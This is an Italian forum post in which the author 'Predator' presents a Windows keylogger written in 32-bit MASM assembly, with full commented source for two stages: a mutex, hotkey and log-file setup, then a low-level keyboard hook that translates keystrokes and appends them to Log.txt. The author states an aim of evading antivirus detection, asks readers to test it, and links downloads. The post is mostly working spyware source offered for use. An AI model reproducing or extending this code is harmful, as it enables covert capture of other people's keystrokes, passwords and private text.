No, non è un documentario di Piero Angela
Dato che era un po', che a causa del lavoro, non pubblicavo codice ho deciso di prendere in mano un progetto, riscriverlo in modo decente, miglioralo e commentarlo al fine di renderlo il più possibile comprensibile.
Quello di cui sto parlando è un keylogger scritto in asm 32bit per windows (NT based percio da XP in su).
Inizierò pian piano aggiungendo sempre di più parti in modo che tutti (o quasi) possano capire.
Uno degli intenti sarà anche quello di scrivere il codice in modo da non infastidire gli antivirus e pertanto renderlo non identificabile (speriamo di farcela). Su questo punto saranno preziosi i vostri test.
L'editor che userò sarà WinAsm, cmq potete usare quello che volete voi.
Iniziamo:
La dura vita di un keylogger, tratto da una storia vera ;-)
PARTE 1:
-verifica una sola istanza del programma
-crea un hot-key
-verifica se esiste il file di log, altrimenti lo crea
-apre il file log in scrittura
-accoda del testo
-esce quando si preme l'hot-key (potete verificare dal task manager che il processo si chiude)
note: perciò in questa prima parte non intercettiamo la battitura dei caratteri... ma nella seconda parte si ;-)
PARTE 2:
-crea un hook alla tastiera
-intercetta la pressione dei tasti
-esclude l'evento keyup per non sdoppiare il log
-converte il codice del tasto in ascii
-salva su file i tasti premuti (ma ancora grezzo in quanto non riconosce tasti sistema)
DOWNLOAD:
PARTE1 http://tinyurl.com/2eqzxry
PARTE2 http://tinyurl.com/24lz6ju
Ciauz
Predator
Dato che era un po', che a causa del lavoro, non pubblicavo codice ho deciso di prendere in mano un progetto, riscriverlo in modo decente, miglioralo e commentarlo al fine di renderlo il più possibile comprensibile.
Quello di cui sto parlando è un keylogger scritto in asm 32bit per windows (NT based percio da XP in su).
Inizierò pian piano aggiungendo sempre di più parti in modo che tutti (o quasi) possano capire.
Uno degli intenti sarà anche quello di scrivere il codice in modo da non infastidire gli antivirus e pertanto renderlo non identificabile (speriamo di farcela). Su questo punto saranno preziosi i vostri test.
L'editor che userò sarà WinAsm, cmq potete usare quello che volete voi.
Iniziamo:
La dura vita di un keylogger, tratto da una storia vera ;-)
PARTE 1:
-verifica una sola istanza del programma
-crea un hot-key
-verifica se esiste il file di log, altrimenti lo crea
-apre il file log in scrittura
-accoda del testo
-esce quando si preme l'hot-key (potete verificare dal task manager che il processo si chiude)
note: perciò in questa prima parte non intercettiamo la battitura dei caratteri... ma nella seconda parte si ;-)
Codice:
.486
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;FACCIO UNA MACRO CHE SARA' COMODA PER ANDARE A SCRIVERE
;NEL FILE. SE FAREMO DI MACRO MOLTE AL LIMITE LE SPOSTEREMO
;IN UN FILE APPOSITO, AL MOMENTO C'E' POCO CODICE
;PERCIO' LA LASCIO QUI.
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;INIZIO MACRO
fScrivi MACRO hFile,Buffer
LOCAL var
.data?
var dd ?
.CODE
invoke lstrlen, Buffer ;METTE IN EAX LA DIMENSIONE DEL BUFFER
;SCRIVE IL BUFFER NEL FILE, TANTI CARATTERI QUANTI IN EAX
invoke WriteFile,hFile, Buffer,EAX,ADDR var,NULL
ENDM
;FINE MACRO
.DATA
szDati db "Log file by Predator",13,10,0h ;pubblicità :D
hFile dd 0h ;SARA' L'HANDLE DEL MIO FILE DI LOG
hHook dd 0h ;SARA' L'HANDLE DEL L'HOOKING
Msg MSG <> ;DICHIARO UNA STRUTTURA MESSAGGI EVENTI
szMutex db "PreddyKL",0h ;UN TESTO A PIACERE PER VERIFICARE UNA SOLA ISTANZA DEL PROGRAMMA
szNomeFile db "Log.txt",0h ;IL NOME DEL FILE DI LOG
.CODE
START:
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;PER AVVIARE UNA SOLA ISTANZA DEL PROGRAMMA
;SE E' GIA' IN ESECUZIONE ESCO ALTRIMENTI SALTO A _UNICO
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke CreateMutexA,0,0,ADDR szMutex
invoke GetLastError
CMP EAX, ERROR_ALREADY_EXISTS ;nota: ERROR_ALREADY_EXISTS NEL MIO XP HA IL VALORE B7h
JNZ _UNICO ;SE EAX E' ZERO ALLORA SALTO ALLA LABEL _UNICO
JMP _EXIT ;ALTRIMENTI SALTO ALLA FINE
_UNICO:
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CREO UN HOT-KEY, TIPICAMENTE SI USANO I TASTI
;CTRL+ALT+[TASTO] IO HO SCELTO F12
;LO MAPPO CON L'IDENTIFICATIVO CASUALMENTE SCELTO 0CA05EFFh
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
XOR EBX,EBX ;PREPARO IL REGISTRO EBX PERCHE' CONTERRA' IL NOSTRO ThreadID
;DA PASSARE ALL'HOOK DELLA TASTIERA
invoke RegisterHotKey, NULL, 0CA05EFFh, MOD_CONTROL or MOD_ALT, VK_F12
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CERCO DI APRIRE IL FILE, SE NON ESISTE LO CREO
;POI METTO L'HANDLE DEL FILE IN hFile
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke CreateFile,ADDR szNomeFile,GENERIC_READ or GENERIC_WRITE,
NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.IF EAX == 0FFFFFFFFh ;SE IL FILE NON ESISTE ALLORA LO CREO
;NOTIAMO CHE -1 E 0FFFFFFFFh SONO LA STESSA COSA
invoke CreateFile,ADDR szNomeFile,GENERIC_READ or GENERIC_WRITE,
NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
CMP EAX, -1 ;SE LA FUNZIONE RESTITUISCE -1 ALLORA
JE _EXIT ;NON SONO RIUSCITO A CREARE IL FILE PERCIO' SALTO
.ENDIF
MOV hFile, EAX ;METTE IN hFile L'HANDLE DEL FILE APERTO/CREATO
invoke GetFileSize,hFile,NULL ;LEGGO LA DIMENSIONE DEL FILE
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;SPOSTO IL PUNTATORE DI INIZIO SCRITTURA ALLA DIMENSIONE DEL
;FILE, COSI' NON SOVRASCRIVO I DATI SCRITTI IN PRECEDENZA
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke SetFilePointer,hFile,EAX,0,0
fScrivi hFile,ADDR szDati ;USIAMO LA MACRO PER SCRIVERE COMODAMENTE NEL FILE
invoke GetModuleHandle, NULL ;OTTENIAMO L'HANDLE DEL NOSTRO MODULO
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CON GetMessage INTERCETTEREMO L'HOT-KEY CREATO PRIMA
;PER PROSEGUIRE ATTENDE UN "MESSAGGIO" DAL PROGRAMMA E PASSA
;IL PUNTATORE ALLA STRUTTURA Msg
;NON AVENDO UNA GUI NEL NOSTRO CASO ATTENDE L'HOT KEY CHE
;ABBIAMO SETTTATO PRIMA COME CTRL+ALT+F12
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke GetMessage, ADDR Msg, NULL, NULL, NULL ;ATTENDE...
invoke CloseHandle,hFile ;CHIUDE IL FILE
_EXIT:
invoke ExitProcess,NULL
RET
END START
-crea un hook alla tastiera
-intercetta la pressione dei tasti
-esclude l'evento keyup per non sdoppiare il log
-converte il codice del tasto in ascii
-salva su file i tasti premuti (ma ancora grezzo in quanto non riconosce tasti sistema)
Codice:
.486
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
;Dichiaro il mio ProtoTipo per l'hook della tastiera
MyKeyboardProc PROTO :DWORD, :WPARAM, :LPARAM
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;FACCIO UNA MACRO CHE SARA' COMODA PER ANDARE A SCRIVERE
;NEL FILE. SE FAREMO DI MACRO MOLTE AL LIMITE LE SPOSTEREMO
;IN UN FILE APPOSITO, AL MOMENTO C'E' POCO CODICE
;PERCIO' LA LASCIO QUI.
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;INIZIO MACRO
fScrivi MACRO hFile,Buffer
LOCAL var
.data?
var dd ?
.CODE
invoke lstrlen, Buffer ;METTE IN EAX LA DIMENSIONE DEL BUFFER
;SCRIVE IL BUFFER NEL FILE, TANTI CARATTERI QUANTI IN EAX
invoke WriteFile,hFile, Buffer,EAX,ADDR var,NULL
ENDM
;FINE MACRO
.DATA
szDati db "Log file by Predator",13,10,0h ;pubblicità :D
hFile dd 0h ;SARA' L'HANDLE DEL MIO FILE DI LOG
hHook dd 0h ;SARA' L'HANDLE DEL L'HOOKING
Msg MSG <> ;DICHIARO UNA STRUTTURA MESSAGGI EVENTI
;APPROFONDITE SU: http://msdn.microsoft.com/en-us/library/ms644967%28VS.85%29.aspx
;OPPURE CERCATE L'ARGOMENTO "KBDLLHOOKSTRUCT Structure"
szMutex db "PreddyKL",0h ;UN TESTO A PIACERE PER VERIFICARE UNA SOLA ISTANZA DEL PROGRAMMA
szNomeFile db "Log.txt",0h ;IL NOME DEL FILE DI LOG
TASTOCAR db "%s",0h
.DATA?
szFinalString db 512 dup (?)
.CODE
START:
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;PER AVVIARE UNA SOLA ISTANZA DEL PROGRAMMA
;SE E' GIA' IN ESECUZIONE ESCO ALTRIMENTI SALTO A _UNICO
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke CreateMutexA,0,0,ADDR szMutex
invoke GetLastError
CMP EAX, ERROR_ALREADY_EXISTS ;nota: ERROR_ALREADY_EXISTS NEL MIO XP HA IL VALORE B7h
JNZ _UNICO ;SE EAX E' ZERO ALLORA SALTO ALLA LABEL _UNICO
JMP _EXIT ;ALTRIMENTI SALTO ALLA FINE
_UNICO:
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CREO UN HOT-KEY, TIPICAMENTE SI USANO I TASTI
;CTRL+ALT+[TASTO] IO HO SCELTO F12
;LO MAPPO CON L'IDENTIFICATIVO CASUALMENTE SCELTO 0CA05EFFh
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
XOR EBX,EBX ;PREPARO IL REGISTRO EBX PERCHE' CONTERRA' IL NOSTRO ThreadID
;DA PASSARE ALL'HOOK DELLA TASTIERA
invoke RegisterHotKey, NULL, 0CA05EFFh, MOD_CONTROL or MOD_ALT, VK_F12
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CERCO DI APRIRE IL FILE, SE NON ESISTE LO CREO
;POI METTO L'HANDLE DEL FILE IN hFile
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke CreateFile,ADDR szNomeFile,GENERIC_READ or GENERIC_WRITE,
NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.IF EAX == 0FFFFFFFFh ;SE IL FILE NON ESISTE ALLORA LO CREO
;NOTIAMO CHE -1 E 0FFFFFFFFh SONO LA STESSA COSA
invoke CreateFile,ADDR szNomeFile,GENERIC_READ or GENERIC_WRITE,
NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
CMP EAX, -1 ;SE LA FUNZIONE RESTITUISCE -1 ALLORA
JE _EXIT ;NON SONO RIUSCITO A CREARE IL FILE PERCIO' SALTO
.ENDIF
MOV hFile, EAX ;METTE IN hFile L'HANDLE DEL FILE APERTO/CREATO
invoke GetFileSize,hFile,NULL ;LEGGO LA DIMENSIONE DEL FILE
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;SPOSTO IL PUNTATORE DI INIZIO SCRITTURA ALLA DIMENSIONE DEL
;FILE, COSI' NON SOVRASCRIVO I DATI SCRITTI IN PRECEDENZA
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke SetFilePointer,hFile,EAX,0,0
fScrivi hFile,ADDR szDati ;USIAMO LA MACRO PER SCRIVERE COMODAMENTE NEL FILE
invoke GetModuleHandle, NULL ;OTTENIAMO L'HANDLE DEL NOSTRO MODULO
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;ORA SETTIAMO IL NOSTRO HOOK ALLA TASTIERA
;DATE UNO SGUARDO SU:
;http://msdn.microsoft.com/en-us/library/ms644959%28VS.85%29.aspx
;SE IL LINK NON FUNZIONA L'ARGOMENTO DA APPROFONDIRE E'
;LA FUNZIONE LowLevelKeyboardProc
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke SetWindowsHookEx, WH_KEYBOARD_LL, ADDR MyKeyboardProc, EAX, EBX
MOV hHook, EAX ;SALVO L'HANDLE DELL'HOOKING IN hHook
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;CON GetMessage INTERCETTEREMO L'HOT-KEY CREATO PRIMA
;PER PROSEGUIRE ATTENDE UN "MESSAGGIO" DAL PROGRAMMA E PASSA
;IL PUNTATORE ALLA STRUTTURA Msg
;NON AVENDO UNA GUI NEL NOSTRO CASO ATTENDE L'HOT KEY CHE
;ABBIAMO SETTTATO PRIMA COME CTRL+ALT+F12
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke GetMessage, ADDR Msg, NULL, NULL, NULL ;ATTENDE...
invoke CloseHandle,hFile ;CHIUDE IL FILE
_EXIT:
invoke ExitProcess,NULL
MyKeyboardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
;VARIABILI LOCALI
LOCAL lpKeyState[256] :BYTE ;QUESTO ARRAY CONTERRA' DELLO STATO DI OGNI TASTO PREMUTO
LOCAL lpCarBuf[32] :BYTE
LEA EDI, [lpKeyState] ;METTO NEL REGISTRO EDI IL VALORE DELL'INDIRIZZO
;DELLA VARIABILE lpKeyState, NON IL SUO VALORE.
;ERA LA STESSA COSA SCRIVERE:
;MOV EDI, DWORD PTR[lpKeyState]
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;QUANDO PREMIAMO UN TASTO SCATURISCONO 3 EVENTI
;IL KEY DOWN, IL KEY PRESS, E IL KEY UP
;A NOI INTERESSA SOLO QUANDO UN TASTO VIENE PREMUTO E NON
;QUANDO VIENE RILASCIATO, PERCIO' SE INCONTRIAMO L'EVENTO
;WM_KEYUP OPPURE WM_SYSKEYUP SALTIAMO IL LOGGING PER NON
;SDOPPIARE LA REGISTRAZIONE DEI TASTI PREMUTI.
;IL WM_KEYUP E' PER I TASTI NORMALI
;IL WM_SYSKEYUP E' PER I TASTI SPECIALI TIPO IL CONTROL O
;L'ALT.
;PER CAPIRCI, SE QUESTO CODICE FOSSE SCRITTO IN C
;PROBABILMENTE SAREBBE COSI:
;const int WM_KEYDOWN = 0x100;
;const int WM_SYSKEYDOWN = 0x104;
;if ((msg.Msg == WM_KEYDOWN) || (msg.Msg == WM_SYSKEYDOWN))
;SALTA AL PROSSIMO EVENTO
;
;ghèto capìo? (DIALETTO VENETO RULEZ) ;-)
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
MOV EAX, wParam ;CARICO IN EAX IL VALORE DEL wParam APPENA DESCRITTO SOPRA
CMP EAX, WM_KEYUP ;CONFRONTO SE E' UN KEY UP
JE _NEXT_HOOK ;SE E' UN KEY UP ALLORA SALTO AL PROSSIMO HOOK DI TASTIERA
CMP EAX, WM_SYSKEYUP ;CONFRONTO SE E' UN SYSTEM KEY UP
JE _NEXT_HOOK ;SE E' UN SYSTEM KEY UP ALLORA SALTO AL PROSSIMO HOOK DI TASTIERA
MOV ESI,lParam ;lParam CONTIENE L'INDIRIZZO DEL CATTERE e lo SCANCODE (VEDI STRUTTURA MSG)
LODSD ;QUESTO COMANDO E' MOLTO SIMPATICO :)
;TRASFERISCE IN EAX UN VALORE DWORD, PRENDENDO
;TALE DATO DALLA LOCAZIONE DI MEMORIA DS:ESI
;EQUIVALE A SCRIVERE:
;MOV EAX,DS:[ESI]
;ADD ESI,4
;COSI' PRENDO IL VALORE DEL TASTO PREMUTO
;DAL SUO SEGMENTO DI MEMORIA E LO METTO IN EAX
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;OK ARRIVATI QUESTO PUNTO IN EAX HO IL VALORE DEL TASTO
;PREMUTO ES. SE HO PREMURO (a) AVRO' 61h IN EAX
;DOPO IL PRELIEVO CON LODSD IN ESI RIMANE IL VALORE DEL
;HARDWARE SCAN CODE, CHE PRELEVO ALLO STESSO MODO
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;NOTA: SICCOME LODSD MI SCRIVE IN EAX, E AL MOMENTO IN EAX
;HO IL VIRTUAL CODE, LO SPOSTO IN UN REGISTRO CHE NON STO USANDO
;PER ESEMPIO EDX, ALTRIMENTI PERDEREI IL DATO :)
MOV EDX,EAX
LODSD ;COME GIA' DETTO ORA HO L'HARDWARE SCAN CODE IN DS:ESI E LO RECUPERO
;COME ABBIAMO FATTO SOPRA
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;ToASCII COSA FA? EH EH EH! NON LO SO, SCHERZO :D
;TRADUCE LO SPICIFICO VIRUTAL-KEY CODE NEL CORRISPONDENTE CARATTERE ASCII
;LA FUNZIONE TRADUCE IL CODICE DEL CARATTERE IN BASE AL LAYOUT DELLA TASTIERA
;ToAScii lo troviamo nell'include della user32 :)
;MA VEDIAMOLO IN DETTAGLIO, I PARAMETRI RICHIESTI SONO:
;Virtual-key: codice da tradurre (input).
;Hardware Scan Code: stato del tasto(keyup, keypress,keydown) (input)
;KeyState: un puntatore verso un array di 256 nyte che contiene lo stato corrente della tastiera. (input)
; In ogni elemento (byte) di questo array è contenuto lo stato di ogni tasto.
;lpwTransKey: un buffer nel quale la funzione ritornerà il carattere una volta tradotto,
; cioè andrà a scrivere su questa variabile(perciò è un output)
;fuState: Specifica se un menù è attivo, il parametro è 1 se un menù è attivo altrimenti 0 (input)
; e non mi interessa specificarlo.
;UH CHE BELLO NON L'AVEVO MAI VISTO SPIEGATO COSI' BENE IN GIRO ;D
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;RICAPITOLIAMO COSA HO NEI REGISTRI:
;EDX: VIRTUAL KEYCODE
;EAX: SCAN CODE
;EDI: STATO TASTIERA
;EBX: L'INDIRIZZO DOVE REGISTREREMO IL TASTO TRADOTTO DALLA FUNZIONE ToAscii
LEA EBX, [lpCarBuf] ;Ehm.... EBX non l'avevo ancora assegnato, rimedio :)
;FINALMENTE USIAMO LA FUNZIONE
invoke ToAscii,EDX,EAX,EDI,EBX,0H ;perciò dalle informazioni lette sopra, ora sapete che una volta eseguita
;il registro EBX conterrà il virtual-key tradotto in ascii.
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
;GRAZIE ALLA FUNZIONE wsprintf (COME MOLTI GIA' SAPRANNO) POSSO OTTENERE UN DATO FORMATTATO
;(INTESO COME FORMATO TESTO/INTERO/ESADECIMALE...) DA UN BUFFER SPECIFICATO
;DOCUMENTATEVI QUI: http://msdn.microsoft.com/en-us/library/ms647550%28VS.85%29.aspx
;NEL NOSTRO CASO TRASFORMERO' IL DATO UTILIZZANDO IL TIPO %s, CIOE' STRINGA, CHE HO DICHIARATO
;NELLA VARIABILE "TASTOCAR" (VEDI DICHIARAZIONI SOPRA)
;«««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
invoke wsprintf,ADDR szFinalString,OFFSET TASTOCAR, EBX ;COME APPENA SPIEGATO, DOPO QUESTA FUNZIONE
;szFinalString CONTERRA' IL CARATTERE PREMUTO
fScrivi hFile,ADDR szFinalString;USIAMO SEMPRE COMODA LA MACRO PER SCRIVERE COMODAMENTE NEL FILE
;PROSSIMO HOOK DI TASTIERA :)
_NEXT_HOOK:
invoke CallNextHookEx, hHook, nCode, wParam, lParam
Ret
MyKeyboardProc endp
RET
END START
PARTE1 http://tinyurl.com/2eqzxry
PARTE2 http://tinyurl.com/24lz6ju
Ciauz
Predator